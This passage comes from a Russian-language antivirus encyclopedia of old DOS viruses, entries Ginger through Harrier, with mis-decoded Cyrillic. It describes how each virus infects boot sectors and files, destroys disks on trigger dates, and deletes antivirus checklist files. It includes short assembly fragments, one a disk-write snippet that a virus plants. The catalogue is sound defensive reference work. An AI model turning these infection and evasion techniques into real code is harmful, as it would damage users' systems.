Ôàéëîâî-çàãðóçî÷íûé ñòåëñ-âèðóñ. Ïðè çàïóñêå çàðàæåííîé ïðîãðàììû
êîððåêòèðóåò MBR, óñòàíàâëèâàÿ àäðåñ àêòèâíîãî Boot-ñåêòîðà íà
öèëèíäð-0, ãîëîâêà-0, ñåêòîð-2. Ñòàðûé àäðåñ Boot-ñåêòîðà íå ñîõðàíÿåò,
ñ÷èòàÿ ÷òî îí âñåãäà äîëæåí ðàñïîëàãàòüñÿ ïî àäðåñó öèëèíäð-0,
ãîëîâêà-1, ñåêòîð-1. Íà÷èíàÿ ñ ñåêòîðà 2 çàïèñûâàåò â 6 ñåêòîðîâ ñâîé
êîä. Ñîäåðæèò òåêñòîâûå ñòðîêè: "You can't catch the Gingerbread
Man!", "Bad Seed - Made in OZ", "10/23/92".
Ginger.Orsam.2624
Äàëüíåéøåå ðàçâèòèå Ginger.2774. Ñîäåðæèò ñòðîêè "You can't catch the
Gingerbread Man!" è "Orsam - Made in OZ".
Girl.1036
Îïàñíûé íåðåçèäåíòíûé âèðóñ. 3 èþëÿ ïûòàåòñÿ ñ÷èòàòü çàãðóçî÷íûé ñåêòîð
äèñêà A:, ñîçäàåò ôàéë A:\BOOT.SEC, çàïèñûâàåò â äàííûé ôàéë 512 áàéò
ñîäåðæèìîå îðèãèíàëüíîãî çàãðóçî÷íîãî ñåêòîðà è çàïèñûâàåò â äàííûé
ñåêòîð êîä, êîòîðûé ïðè çàãðóçêå ñèñòåìû ñ òàêîãî äèñêà âûâîäèò íà
ýêðàí òåêñò "I YOU GIRL IN GREEN!".
Girls.1829
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Èíîãäà çàâåøèâàåò ñèñòåìó. Ìîæåò âûâåñòè
òåêñò: "I love you, girls ! You are so beautiful !".
Globus.1742
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîçäàåò ôàéë C:\REKLAMA.TXT, â êîòîðîì
ïîìåùàåò ðåêëàìó íåêîé ôèðìû "ÃËÎÁÓÑ-ÏËÞÑ" èç ã. Èâàíîâî. Íåñêîëüêî
ñòðàííàÿ ðîëü ó÷àñòèÿ â äàííîé îáëàñòè ðåêëàìû êîìïüþòåðíîãî âèðóñà.
Gloomy.2000
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Âèðóñ ïåðåõâàòûâàåò INT 8 è ÷åðåç êàæäûå
24 ñåêóíäû óñòàíàâëèâàåò íîâûå çíà÷åíèÿ ðåãèñòðîâ DAC ìîíèòîðà. Â
ðåçóëüòàòå ñîçäàåòñÿ âïå÷àòëåíèå, ÷òî ýêðàí ìîíèòîðà ìåäëåííî "ãàñíåò".
Gluck.761
Oïàñíûé ðåçèäåíòíûé âèðóñ. Óäàëÿåò ôàéëû CHCKLIST.MS.  0 ÷àñîâ âûâîäèò
òåêñò "You iave a ùGLUCKù!!!" è "òðÿñåò" ýêðàí. Ïðè ñòàðòå ïðîãðàììû
*WEB.EXE âûâîäèò òåêñò "Error reading fat!" è çàâåðøàåò åå ðàáîòó.
Goblin.1759
Íåîïàñíûé ðåçèäåíòíûé ôàéëîâî-çàãðóçî÷íûé ñòåëñ-âèðóñ. Èíîãäà "ìèãàåò"
ýêðàíîì. Ñîäåðæèò ñòðîêó "DELWIN".
Goddamn.302
Ñîäåðæèò ñòðîêó "Goddamn Butterflies".
GoldBug (1-5)
Îïàñíûå ïîëèìîðôíûå ôàéëîâî-çàãðóçî÷íûå ñòåëñ-âèðóñû-ñïóòíèêè. Çàðàæàþò
MBR æåñòêîãî äèñêà, Boot-ñåêòîðà äèñêåò åìêîñòüþ 1.2M è *.EXE-ôàéëû,
ñîçäàâàÿ âèðóñû-ñïóòíèêè ñ èìåíåì EXE-ôàéëà. Ñàì æå EXE-ôàéë
ïåðåèìåíîâûâàþò â ôàéë ñî ñâîèì ïðåæíèì èìåíåì, íî áåç ðàñøèðåíèÿ.
Ðàçìåùàþò ñâîþ TSR-êîïèþ â îáëàñòè HMA-ïàìÿòè. Ïåðåõâàòûâàþò INT 13h,
21H, 2Fh (è INT 10h íà ýòàïå èíñòàëëÿöèè ñ èíôèöèðîâàííîãî äèñêà, äëÿ
êîíòðîëÿ çà çàãðóçêîé DOS â HMA-ïàìÿòü). Ñîäåðæàò òåêñòîâûå ñòðîêè
"CHKLIST????" è "1O7=0SLMTA". Ïîñëåäíþþ ñòðîêó â îáðàòíîì ïîðÿäêå, ïðè
çàðàæåíèè EXE-ôàéëîâ, âèðóñû ìîãóò ïîñëàòü â ìîäåìíûé ïîðò -
ATMLS0=7O1. Óäàëÿþò ôàéëû CHKLIST???? â äèðåêòîðèè çàðàæàåìîãî
EXE-ôàéëà. Óäàëÿþò ïðîãðàììû ïðè èõ ñòàðòå, ñîäåðæàùèå â ñâîåì èìåíè
ïðåäïîñëåäíþþ áóêâó "A" è ïîñëåäíþþ áóêâó, çíà÷åíèå ASCII êîäà êîòîðîé
ìåíüøå 79 (4Bh) "O". Íàïðèìåð, ïðè çàïóñêå ïðîãðàììà SCAN.EXE áóäåò
óäàëåíà âèðóñàìè GoldBug.
Gorinich.776
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò çàøèôðîâàííóþ ñòðîêó "Zmey
Gorinich v0.04".
Gorlovka.1022
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Äëÿ COM-ôàéëîâ âíåäðÿåòñÿ â îáëàñòü
ïîâòîðÿþùèõñÿ áàéò êîäà èëè äàííûõ, íå èçìåíÿÿ äëèíû èíôèöèðîâàííîé
ïðîãðàììû. Ñîäåðæèò òåêñò "GORLOVKA9101".
Gosha.1831
Îïàñíûé ðåçèäåíòíûé âèðóñ. Âíåäðÿåòñÿ â ñåðåäèíó ôàéëîâ, èìåþùèõ
äëèíû 54619, 52925, 47845 (ðàçíûå âåðñèè COMMAND.COM). 4 ìàðòà è 7
íîÿáðÿ óíè÷òîæàåò ñîäåðæèìîå òåêóùåãî ôëîïïè-äèñêà èëè ïåðâîãî æåñòêîãî
äèñêà. Ñîäåðæèò òåêñò "GOSHA".
Gotcha.605
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò ñòðîêó "GOTCHA!".
GreenMonster.711, 784, 839
Îïàñíûå ðåçèäåíòíûå âèðóñû. Ïåðèîäè÷åñêè ïûòàþòñÿ îòôîðìàòèðîâàòü îäíó
äîðîæêó ãèáêèõ äèñêîâ. Ñîäåðæàò òåêñò "Green Monster. I"m happy".
Grace.1346
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Âíåäðÿåò ñâîé êîä â ñåðåäèíó è êîíåö
ôàéëîâ. Èíîãäà ìîæåò âûâåñòè òåêñò "Have a nice piss-up!" èëè "Have a
DOS!". Ñîäåðæèò òåêñòû "-[Grace] by TÄLÔN 94-", "You make me sick I
make viruses".
GraveLion.2250
Íåîïàñíûé ðåçèäåíòíûé ôàéëîâî-çàãðóçî÷íûé ïîëèìîðôíûé âèðóñ. Ïðè ñòàðòå
èíôèöèðîâàííîé ïðîãðàììû çàðàæàåò MBR, èçìåíÿÿ â íåé ññûëêó íà ïåðâûé
çàãðóçî÷íûé ñåêòîð, è ïîäñòàâëÿåò âìåñòî ýòîãî àäðåñà ññûëêó íà ñâîé
çàãðóç÷èê. Ïðè ñòàðòå ïðîãðàìì, èìåíà êîòîðûõ çàêàí÷èâàþòñÿ íà B, F è
T (à òàêæå ïðè íàæàòèè íà Ctrl-Alt-Del) âèðóñ óäàëÿåò â MBR ññûëêó íà
ñâîé êîä, ïî îêîí÷àíèè ðàáîòû ýòèõ ïðîãðàìì îïÿòü çàðàæàåò MBR.Ñîäåðæèò
òåêñò "[Áû÷èé Öåïåíü] v1.0 Copyright (c) 1995 Grave Lion". Èíîãäà ïðè
îøèáêå â ïðîöåññå çàãðóçêè ìîæåò âûâåñòè òåêñò "Access to Hard Drive
denied...".
Gregory.996
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Èç-çà îøèáêè ðàçðóøàåò ôàéëû ïðè
çàðàæåíèè. Ìîæåò âûâåñòè òåêñò "<Ãðèãîðèé-01.2>".
Gremlin.1405
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ñîäåðæèò ñëåäóþùèå òåêñòû:
[ Gremlin 1.04 / AVL ]
[ Êàê âèäèòå, ã-í Äàíèëîâ, îáìàíóòü Âàø ýâðèñòè÷åñêèé àíàëèçàòîð íå òàê
óæ è òðóäíî... ]
KREG 1.01 / AVL
Gripe.1985
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Íå çàðàæàåò ôàéëû,íà÷èíàþùèåñÿ
íà TB, SC, CL, F-, MS, NA. Ñîäåðæèò òåêñò "ViRUS GRiPE by dEMETH KNOX
(17/03/95, ARGENTINA)".
Grog.495
3 ÷èñëà äî 12 ÷àñîâ èçìåíÿåò ñèìâîë '(' ASCII 40 íà ñèìâîë ñ
âåðòèêàëüíîé íàäïèñüþ "GROG". Ñîäåðæèò òåêñòû:
Gg CHAR2GROG (C) '93 by GROG - Italy
_/\(*,*)/\_ _/\*,*/\_ _\*,*/_
Grog.2075
Îïàñíûé øèôðîâàííûé âèðóñ. Óíè÷òîæàåò ôàéëû CHKLIST.CPS. Ñîäåðæèò
òåêñòîâûå ñòðîêè:
>>4/93<<
GROG v4.0 (C) '93 by GROG - Italy
Grog v4.0 is here! HaHaHa!
MBIOMDOSSCANLEANPROTCPAV
Íå çàðàæàåò ôàéëû, èìåþùèå ñî÷åòàíèÿ áóêâ èç ïîñëåäíåé ñòðîêè.
Grog.2825
Îïàñíûé øèôðîâàííûé âèðóñ. Óíè÷òîæàåò ôàéëû ANTI-VIR.DAT, CHKLIST.*,
\NAV_._NO Ñîäåðæèò òåêñòîâûå ñòðîêè:
-=¨GROG v5.0 (C) '93 by GROG - Italy¨=-
IBMBIOIBMDOSSCAN CLEAN F-PROT CPAV MSAV NAV
Íå çàðàæàåò ôàéëû, èìåþùèå ñî÷åòàíèÿ áóêâ èç ïîñëåäíåé ñòðîêè.
Grog.4ever.1200
Íåîïàñíûé ïîëèìîðôíûé âèðóñ. Â èíôèöèðîâàííûõ ïðîãðàììàõ ìîæåò èçìåíèòü
ñòðîêó "Microsoft" (åñëè òàêîâàÿ èìååòñÿ) íà ñòðîêó "Grog*Soft". Äàííàÿ
ñòðîêà áóäåò èçìåíåíà òîëüêî â ïàìÿòè, è åñëè ýòà ñòðîêà âûâîäèòñÿ íà
ýêðàí, òî âìåñòî íàçâàíèÿ èçâåñòíîé ôèðìû áóäåò âûâåäåíà
ñòðîêà-êîïèðàéò âèðóñà èç Èòàëèè. Âèðóñ òàêæå ñîäåðæèò òåêñòîâûå ñòðîêè:
-=¨GROG 4EVER!¨=-
_/\<+>,<+>/\_
>>2/93<<
GROG v3.1 (C) '93 by GROG - Italy
Microsoft C:\COMMAND.COM
Grog.Bog.233
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Èùåò MS-Windows EXE-ôàéëû è âíåäðÿåòñÿ â
èõ êîä, ðàáîòàþùèé ïîä DOS. Îáû÷íî Windows EXE-ôàéëû èìåþò êîä, êîòîðûé
âûïîëíÿåòñÿ òîëüêî â DOS è ñëóæèò äëÿ òîãî, ÷òîáû ñîîáùàòü ïîëüçîâàòåëþ
î òîì, ÷òî äàííàÿ ïðîãðàììà äîëæíà ðàáîòàòü ïîä óïðàâëåíèåì MS-Windows.
Êàê ïðàâèëî, äàííûé êîä ñîñòîèò èç ñòðîêè òèïà "This program requires
Microsoft Windows." è íåñêîëüêèõ èíñòðóêöèé àññåìáëåðà, âûâîäÿùèõ
äàííûé òåêñò íà ýêðàí è âîçâðàùàþùèõ óïðàâëåíèå îáðàòíî â ñðåäó DOS.
Äàííûå èíñòðóêöèè âûãëÿäÿò, îáû÷íî, òàê:
POP DX ; óêàçàòåëü íà ñòðîêó î íåîáõîäèìîñòè Windows
PUSH CS
POP DS
MOV AH,9
INT 21h ; âûâîä ñîîáùåíèÿ íà ýêðàí
MOV AX,4C01h
INT 21h ; îêîí÷àíèå ðàáîòû è âûõîä â DOS
Âèðóñ Grog.Bog.233 ñ÷èòûâàåò 256 íà÷àëüíûõ áàéò DOS-êîäà è èùåò â íèõ
ñòðîêó "Win". Åñëè ñòðîêà íàéäåíà, òî âèðóñ èùåò ïîñëåäíèå 3 áàéòà
óêàçàííîãî âûøå DOS-êîäà (4C CD 21). Åñëè äàííûå áàéòû íàéäåíû, âèðóñ
çàïèñûâàåò 233 áàéò ñâîåãî êîäà, íà÷èíàÿ ñ ïîñëåäíåãî âûçîâà INT 21h.
Òàêèì îáðàçîì DOS-êîä ïîñëå ýòîãî âûãëÿäèò ñëåäóþùèì îáðàçîì:
MOV AH,9
INT 21h ; âûâîä ñîîáùåíèÿ íà ýêðàí
MOV AX,4C01h
CALL $+3 ; âìåñòî îêîí÷àíèÿ ðàáîòû è âûõîäà â DOS - êîä âèðóñà
POP BP
Ïðè çàïóñêå ïîä MS-Windows òàêîé ôàéë áóäåò ðàáîòàòü êàê îáû÷íî, ò.ê.,
DOS-êîä â ýòîì ñëó÷àå íå ïîëó÷àåò óïðàâëåíèÿ. Ïðè çàïóñêå æå èç DOS
ïðîãðàììà ðàññêàæåò î íåîáõîäèìîñòè ïðèñóòñòâèÿ MS-Windows, ïîñëå ÷åãî
âèðóñ íà÷íåò èñêàòü î÷åðåäíóþ æåðòâó. Ñîäåðæèò òåêñòîâóþ ñòðîêó "BOG
(C) '93 by GROG - Italy".
Grog.Hop
Ïðîèçâîäèò ïîèñê è çàðàæåíèå *.COM ôàéëîâ òîëüêî íà äèñêàõ A: è B:.
Âíåäðÿåòñÿ â ñåðåäèíó ôàéëà, â îáëàñòü ïîâòîðÿþùèõñÿ áàéò, èñïîëüçóÿ
äëÿ çàïèñè â ôàéë íà ãèáêèõ äèñêàõ INT 40h. Ñîäåðæèò òåêñòû:
HopHopHop (c) '93 By GROG - Italy
"Guida alla Corsa"
Capitolo primo
Come correre al modo dei conigli.
Hop Hop Hop
Hop Hop Hop
Grog.Metafora
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ-ñïóòíèê. Ïðîèçâîäèò ïîèñê *.COM ôàéëîâ,
ïåðåèìåíîâûâàåò èõ â ôàéëû ñ òàêèìè æå èìåíàìè, íî ñ ðàñøèðåíèåì EXE,
è ñîçäàåò ñîîòâåòñòâóþùèå èì ôàéëû ñ ðàñøèðåíèåì COM, ñîäåðæàùèìè
âèðóñíûé êîä. 29 ôåâðàëÿ âûâîäèò íà ýêðàí òåêñò:
ÚÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄͬ
¦ <^> JoeMetafora (C) '93 by GROG - Italy <^> ¦
ÀÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÙ
28 ôåâðàëÿ âûâîäèò äðóãîå ñîîáùåíèå:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Il velario della notte avviluppava gli amanti fuggitivi.
Ad onta delle minacce di gravi cimenti, oceani di affetto li avevano tenuti
[uniti.
Ora, un nuovo ghiacciolo di terrore squarciava il ricamo della loro esistenza.
JOE METAFORA
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Grog.Miami
Íåîïàñíûé íåðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ñîäåðæèò òåêñò:
Mi Ami(C)'93byGROG-Italy
"Mi ami?" chiese lei.
"Ma certo", rispose lui.
"Mi ami davvero?" chiese lei.
"Ma certo", rispose lui.
"Mi ami davvero davvero?" chiese lei.
"No", rispose lui.
"Mi ami?" chiese lei.
"Ma certo", rispose lui.
Lei non chiese piu' altro.
Grog.NTA
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ïîä îòëàä÷èêîì ìîæåò âûâåñòè ñëåäóþùèå
ñîîáùåíèÿ:
ÞÛÛ² . ÞÛÛ² . ÞÛÛ² ²ÛÛÝ .
ßßß ÛÛ²Ý ßß ÛÛ²Ý ßß ÞÛ²Û ßß ÛÛ²Ý Þ²ÛÛ ßßß
.ÞÛ²Û Û ÞÛ²Û . Û²ÛÝ .ÞÛ²Û Û²ÛÝ .
. Û²ÛÝ ·Û Û²ÛÝ Þ²Û² · Û²ÛÝÜÜÜÞÛ²Û
Þ²ÛÛ Þ²ÛÛ ²Û²Ý . Þ²ÛÛ . ÛÛ²Ý .
·²ÛÛÝ . ²ÛÛÝ · Û²Ý ²ÛÛÝ. ÞÛÛ²
Þ²Û $*BR*$
The Nokturnal ÞÛ
Trading Alliance Û
Þ
þ
Grog4Ever
Grog.Crackers.NTA (c) 1993 by GROG
Grog.Razor
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ïîä îòëàä÷èêîì ìîæåò âûâåñòè ñëåäóþùèå
ñîîáùåíèÿ:
______/\_____/\________.__________/\
\_____ \____ \_____ | ________ \
| _ _/| |\ \/ ___| | || _ _/
| | \| |_\ \ \__| | || | \_
|__|_ /__|\___/\____|___ /|__|_ /
<========\/==================\/======\/==>
Grog4Ever
Grog.Crackers.Razor (c) 1993 by GROG
Grog.Sempre
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Ïðîèçâîäèò ÷òåíèå ñåêòîðîâ ôëîïïè-
äèñêîâ ÷åðåç INT 40h è ïîèñê â íèõ ïåðâîé êîìàíäû JMP èëè CALL (áàéò
E9h èëè E8h). Åñëè äàííûé áàéò áóäåò íàéäåí, òî âèðóñ çàïèñûâàåò ñâîé
êîä â äàííûé ñåêòîð. Ïðè îøèáêå ÷òåíèÿ ñåêòîðà âèðóñ âûâîäèò òåêñò:
"Il nostro amore durera' per sempre", disse lui.
"Oh, si, si, si!", esclamo' lei.
"Intendendo 'sempre' in senso relativo, pero'", disse lui.
Lei lo colpi' con una racchetta da sci.
Ñîäåðæèò òàêæå ñòðîêó "_Sempre_(C)_'93_by_Grog_Italy_".
Grog.WildCards
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ïîä îòëàä÷èêîì ìîæåò âûâåñòè ñëåäóþùèå
ñîîáùåíèÿ:
ÜÛÛ ÛÛÛ Ü ÜÛ ÜÛÛÛÜ C
ÞÛÛÛÝ ÛÛÛ ßÛßÜÛ ÛÛ ßÛÜ a
ÄÄÄÄ ÛÛÛÝÄÄÄ ÛÛÛ ÜÛÜ ÛÛ ÛÛ ÄÞÛÝÄÄRÄ
ßÛßÜþ ÛÛÛ ÜÛÜÞÛÝ ÛÛÝ ÛÛ ßÜ ÞÛÛ D
ÛÛÛÜßÜ ÛÛÛÛßÛÛÛ ÞÛÝ ÛÛÜÛÛÛßÜÛÛß S
ÄÄÄÄÄÄÄ Ûß Ä ß ßÛß ÜÛßßßÜÜÛßß ÄÄÄ!Ä
]ý[ WE ARE BACK! ]ý[ [o1/o3]
Grog4Ever
Grog.Crackers.Wild_Cards (c) 1993 by GROG
Grosser.607
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñòû:
0000 virus
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦ Virus 0000.0000 Created by GROSSER (C) 1996 AUGUST ¦
¦ ÜÜÜÜ ÜÜÜ ÜÜÜÜÜ ÜÜÜ ÜÜÜ ÜÜÜÜ ÜÜÜ ¦
¦ Û Û Û Û Û Û Û Û Û Û ASSEMBLER ¦
¦ Û ÜÜ ÛÛß Û Û ßßßÜ ßßßÜ Ûßßß ÛÛß PASCAL ¦
¦ ßÜÜÜß Û ßÜ ÛÜÜÜÛ ÜÜÜß ÜÜÜß ÛÜÜÜ Û ßÜ BASIC ¦
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Gullich
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Âûâîäèò íà ýêðàí òåêñò "Wolfgang GÁllich".
Ñîäåðæèò òåêñò "In memory of Wolfgang GÁllichMilan Italy 94".
Gunia.727
Îïàñíûé íåðåçèäåíòíûé âèðóñ. 31 ÷èñëà óíè÷òîæàåò ñîäåðæèìîå MBR ïåðâîãî
æåñòêîãî äèñêà. Ïûòàåòñÿ îòêðûòü ôàéë c:\gunia.
Ha.798
Î÷åíü îïàñíûé íåðåçèäåíòíûé çàìåùàþùèé ïðîãðàììíûé êîä âèðóñ.  ñóááîòó
ïûòàåòñÿ îòôîðìàòèðîâàòü 45 íà÷àëüíûõ öèëèíäðîâ ïåðâîãî æåñòêîãî äèñêà.
Èíîãäà âûâîäèò ñîîáùåíèå:
HA! HA! HA!
Your computer is infected now by the
most likely and non-dangerous virus!
Please enjoy it!
Your MBR may now be corrupted...
è óíè÷òîæàåò ñîäåðæèìîå MBR. Ïî îêîí÷àíèè ñâîåé ðàáîòû âûâîäèò òåêñò:
General error reading drive C:
Abort, Retry, Ignore, Fail?
Hadi.6153
Íåîïàñíûé ðåçèäåíòíûé âèðóñ.Ìîæåò çàïîëíèòü ýêðàí ñòðîêîé "Hercul Hadi"
è âûâåñòè òåêñò:
by
Hadi Javan Amirkhizi
03/07/1996
TABRIZÄÄIRA
Call me to repair your system (if you find)
Press CTRL key for 5 seconds to return
Haharin
Îïàñíûé çàãðóçî÷íûé âèðóñ. Íå ñîõðàíÿåò îðèãèíàëüíûé ñåêòîð ïðè
çàðàæåíèè ôëîïïè-äèñêîâ. Ïîñëå 256 çàãðóçîê ñ æåñòêîãî äèñêà óíè÷òîæàåò
ñîäåðæèìîå ïåðâîãî æåñòêîãî äèñêà è âûâîäèò íà ýêðàí òåêñò: "Haharin is
not dead !".
Haifa.2352 (1,2)
Îïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. Âíåäðÿþòñÿ â ïàìÿòü ïî
ôèêñèðîâàííîìó àäðåñó 9F00:0000 áåç êîððåêöèè MCB, â ðåçóëüòàòå ÷åãî
ïðîäîëæèòåëüíîñòü èõ "æèçíè" - íåâåëèêà. Ïðè ïåðâîì æå çàïóñêå âèðóñû
ñòðåìÿòñÿ çàðàçèòü ôàéë COMMAND.COM. Ïåðèîäè÷åñêè "âåøàþò" ñèñòåìó.
Haifa.2352 (1) èíîãäà âûâîäèò ñîäåðæèìîå ýêðàíà íà ïðèíòåð (INT 5).
Haifa.2352 (1) çàïèñûâàåò â *.BAK ôàéëû òåêñò:
... What is backup for anyway???
BackUp is usually unneccessary!
End..
À â *.DOC è *.TXT ôàéëû çàïèñûâàåò òåêñò:
What's 455260 MI COUNTACH 5000 CC???
Instead of reading this junk, think about it!
5 ìàÿ Haifa.2352 (1) âûâîäèò òåêñò:
KIRYAT MOZKIN!!!
LOCAL PROCESS INDUSTRY.
VIRUS DONE BY:
SIBEL ,TEACHES
HOW TO MANAGE SHEEP?
Thanks for using Turbo Anti Virus.
PLEASE JMP FE00:0
Haifa.2352 (2) â *.ASM è *.PAS ôàéëû çàïèñûâàåò òåêñò:
.model small
.code
s: mov ax,310h
xor cx,cx
mov dx,80h
int 13h
end s
18 àâãóñòà èëè 4 àïðåëÿ âûâîäèò íà ýêðàí òåêñò:
HAIFA VIRUS V1.01
WRITTEN BY Y.S.
GUEST STARS: T.S. & I.F.
MADE IN ISRAEL
I AM TIRED. PLEASE WAKE ME UP ON TUE 12.4.3456
PRESS RESET TO CONTINUE...
Ñîäåðæèò òåêñòû: "CONST VIRUS='HAIFA'",
"OOPS! Hope I didn't ruin anything!!!
Well, nobody reads those stupied DOCS anyway!".
Halfive.512
Îïàñíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Áëîêèðóåò óäàëåíèå ôàéëîâ. Ñîäåðæèò
òåêñò "ONE_HALF35/7".
Hal
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Ìîæåò âûâåñòè íà ýêðàí òåêñò "HAL 3001".
Hal.2862
Íåîïàñíûé íåðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Çàðàæàåò MBR æåñòêîãî äèñêà
çàãðóçî÷íûì âèðóñîì Hal.
Harlot.738, 5632 (1,2)
Harlot.5632 (1,2) - îïàñíûå ðåçèäåíòíûå âèðóñû. "Ñáèâàþò" ñèñòåìíîå
âðåìÿ. Ïåðèîäè÷åñêè âûâîäÿò â ðàìêå ñëó÷àéíîå ñîîáùåíèå (ñì.
SGWW.Nostardamus.5995) è æäóò íàæàòèÿ íà êëàâèøó "ïðîáåë". Èíîãäà
âûâîäÿò åùå îäíî ñîîáùåíèå:
Âèðóñ HARDY HARLOT v1.06 by CRAZY
Êèåâ , ÊÈÈÃÀ ÔÀÐÝÎ 101 ,20.05.94
CRAZY ïîäðóæèñü ñî ìíîé. ÔÀÂÒ 2..
Èñïðàâëåíî: ôàéëîâ - 25
Virus segment - 9E5F
Harlot.738 ñîäåðæèò òåêñò:
Hello ! I'm virus Hardy-Harlot !
Don't hurt me ,please . v1.03
Harmless.1082
Îïàñíûé ðåçèäåíòíûé, ÷àñòè÷íî çàøèôðîâàííûé, âèðóñ. Ïîðòèò ïðè
çàðàæåíèè EXE-ôàéëû, èìåþùèå âíóòðåííèå îâåðëåè. Ñîäåðæèò òåêñòû
"Eat me Lozinsky!", "Harmless v1.0, 10/06/92 Tyumen".
HarmWare.3516, 3716
Îïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. Ïðè çàðàæåíèè ôàéëîâ âèðóñû íå
èçìåíÿþò èõ äëèíó.Ïðè âíåäðåíèè â ôàéë âèðóñû ïðîèçâîäÿò àíàëèç äàííîãî
ôàéëà ñ öåëüþ âûÿñíåíèÿ âîçìîæíîñòè åãî óïàêîâêè äîñòàòî÷íî ïðîñòûì
àëãîðèòìîì ñæàòèÿ, èñïîëüçóåìûì äàííûìè âèðóñàìè. Ïîñëå ÷åãî âèðóñû
ñæèìàþò ïðîãðàììíûé êîä è çàïèñûâàþò ñâîé êîä â íà÷àëî ôàéëà.  EXE-
ôàéëû âèðóñû ìîãóò âíåäðèòü êîä, êîòîðûé ïðîèçâîäèò íàñòðîéêó àäðåñîâ
ïåðåìåùàåìûõ ýëåìåíòîâ, ïðè ýòîì êîëè÷åñòâî ýòèõ ýëåìåíòîâ â çàãîëîâêå
EXE-ôàéëà îáíóëÿåòñÿ. Âèðóñû ñîäåðæàò àíòè-îòëàäî÷íûå ïðèåìû. Ïðè
íåàêêóðàòíîé òðàññèðîâêå ìîãóò óíè÷òîæèòü ñîäåðæèìîå ñåêòîðîâ æåñòêîãî
äèñêà. Ïåðèîäè÷åñêè, åñëè íå áûëî íàæàòèé íà êëàâèøè, âèðóñû ïðîèçâîäÿò
"âðàùåíèå ýêðàíà".Ïðè îòêðûòèè òàáëèö ðåâèçîðà ADinf, âèðóñû âîçâðàùàþò
îøèáêó îòêðûòèÿ ôàéëà-òàáëèöû. À òàêæå ïûòàþòñÿ îáìàíóòü ADinf
âñåâîçìîæíûìè ìàíèïóëÿöèÿìè: ñîõðàíåíèåì â âèäåîïàìÿòè òåêóùåé ñòðàíèöû
ýêðàíà è ïîñëåäóþùèì åå âîññòàíîâëåíèåì, ïîäñîâûâàíèåì â áóôåð
êëàâèàòóðû ñêàí-êîäà êëàâèøè Enter è äð. Íî ýòî ïðîèñõîäèò òîëüêî â òîì
ñëó÷àå, åñëè íà ýêðàíå â ýòîò ìîìåíò ïðèñóòñòâóþò ñòðîêè "ADinf",
"Ðàáîòà", à ñàìà òàáëèöà ñîäåðæèò òåêñò "Diskinfoscope". Âèðóñû óäàëÿþò
ôàéëû chklist.ms è chklist.cps. Ñîäåðæàò òåêñòû:
HarmWare.3516:
- HarmWare v1.06 by Ak Kort [SOS group] -
Hi! I'm still alive :) Let me introduce my new release.
MThere are none distruction. Just another way of anti-heuristic...
HarmWare.3716:
- HarmWare v1.05 by Ak Kort [SOS group] -
Final version. Wait new releases.
Çþãàíîâ - ñâèíüÿ. Åëüöèí òîæÈ.
Harrier.4602
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Çàïèñûâàåò â MBR æåñòêîãî äèñêà
êîä, êîòîðûé èíîãäà âûâîäèò íà ýêðàí òåêñò:
I am the ¦ DARKLAND is the
  ÚĬ ÂĬ ÂĬ  ÂĬ ÂĬ ¦ kingdom of Hackers
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
ÃÄ´ ÃÄ´ ÃÂÙ ÃÂÙ ¦ ÃÄ ÃÂÙ ¦ I come from dark...
¦ ¦ ¦ ¦ ¦À¬ ¦À¬ ¦ ¦ ¦À¬ ¦ I invade Your PC...
Á Á Á Á Á Á Á Á Á ÁÄÙ Á Á ¦ I am Your death...
from DARKLAND ¦
ïîñëå ÷åãî îòäàåò óïðàâëåíèå îðèãèíàëüíîìó çàãðóç÷èêó. "Ïåðåõâàòûâàåò"
INT 8, 16h, 17h, 21h. Áëîêèðóåò âûâîä íà ïðèíòåð, ïå÷àòàÿ âìåñòî
îðèãèíàëüíîãî òåêñòà ñâîé òåêñò:
Hey, Ugly User, You could be my . . .
I promise You! Death to all CHAINIKS!!!
Cause I am Harrier from DarkLand . . .
